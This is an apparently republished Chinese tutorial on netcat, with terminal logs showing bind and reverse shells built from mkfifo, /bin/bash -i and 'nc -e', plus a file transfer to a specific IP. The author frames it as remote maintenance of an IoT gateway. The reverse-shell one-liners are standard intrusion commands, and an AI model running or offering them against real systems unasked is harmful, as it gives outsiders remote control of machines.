[root@VM_0_14_centos ~]# mkfifo /tmp/fifo [root@VM_0_14_centos ~]# cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 10000 > /tmp/fifo
客户端:
root@Shuncom:/tmp# nc 211.159.189.50 10000 [root@VM_0_14_centos ~]# ls ls data dead.letter project raspberry-project shuncom SZ-City4-0907 tmp You have new mail in /var/spool/mail/root [root@VM_0_14_centos ~]#
[root@VM_0_14_centos ~]# nc -l 10000
客户端:
root@Shuncom:/tmp# mkfifo fifo root@Shuncom:/tmp# cat /tmp/fifo | /bin/sh -i 2>&1 | nc 211.159.189.50 10000 > /tmp/fifo
此时会在服务器得到客户端的shell
[root@VM_0_14_centos ~]# nc -l 10000 BusyBox v1.23.2 (2018-10-19 13:23:37 CST) built-in shell (ash) @Shuncom:/tmp# ls TZ dhcp.leases dnsmasq.d etc eth0 fifo gcom.5859.11..core hosts lib lock log opkg-lists overlay reboot_boad resolv.conf resolv.conf.auto run shm state sysinfo test.sh time_ok timeerror.log tmpnet usr @Shuncom:/tmp#
项目中服务器可以通过业务协议向网关发送一条消息,网关去连接指定的服务器IP和Port,就建立了通道,在服务端就可以远程操作网关,查看网关信息。
[root@VM_0_14_centos tmp]# nc -l 9995 > a.sh
客户端
root@Shuncom:/tmp# nc 211.159.189.50 9995 < test.sh
即可在服务器得到文件
[root@VM_0_14_centos tmp]# ls a.sh
[centli@VM_0_14_centos ~]$ nc -l 1337 -e /bin/bash
客户端:
summer@summer-virtual-machine:~$ nc 211.159.189.50 1337 ls project webFileLoad
[centli@VM_0_14_centos ~]$ nc -l 1337
客户端:
liyongjun@liyongjun-VirtualBox:~$ nc.traditional 211.159.189.50 1337 -e /bin/bash
服务端就可以发送shell指令了:
[centli@VM_0_14_centos ~]$ nc -l 1337 ls download esp-idf.tar.gz examples.desktop go mini6410 mygo OpenWrt project ubuntu-16.04 公共的 模板 视频 图片 文档 下载 音乐 桌面
发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/219908.html原文链接:https://javaforall.net
